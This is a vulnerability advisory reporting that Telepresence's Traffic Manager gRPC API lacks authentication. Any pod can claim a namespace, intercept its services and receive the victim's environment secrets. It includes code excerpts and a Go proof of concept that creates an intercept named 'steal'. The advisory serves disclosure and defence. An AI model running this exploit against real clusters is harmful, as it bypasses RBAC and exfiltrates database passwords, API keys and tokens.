Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets

Summary

Telepresence's Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod's complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.

Details

The gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: grpc.WithTransportCredentials(insecure.NewCredentials()).

ArriveAsClient stores the caller-supplied Namespace without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager's watchlist (ManagesNamespace):

// cmd/traffic/cmd/manager/service.go:181-201
func (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {
    if !s.State().ManagesNamespace(ctx, client.Namespace) {
        return nil, status.Error(codes.FailedPrecondition, ...)
    }
    // No SAR, no bearer token, no kubeconfig check
    return &rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil
}

CreateIntercept calls managedTargetNamespace() which also only checks ManagesNamespace(target_ns) — never that the target equals the client's own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod's full container environment is forwarded via intercept.Environment = rIReq.Environment.

Proof of Concept

From any pod in the cluster:

conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
    grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)

session, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{
    Name: "attacker@pod", Namespace: "payments",
    InstallId: uuid.NewString(), Product: "telepresence", Version: "2.20.0",
})

mgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{
    Session: session,
    InterceptSpec: &rpc.InterceptSpec{
        Name: "steal", Agent: "payments-api", Namespace: "payments",
        Mechanism: "tcp", Client: "attacker@pod",
    },
})

Supplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.

Impact

Any pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed. Secrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.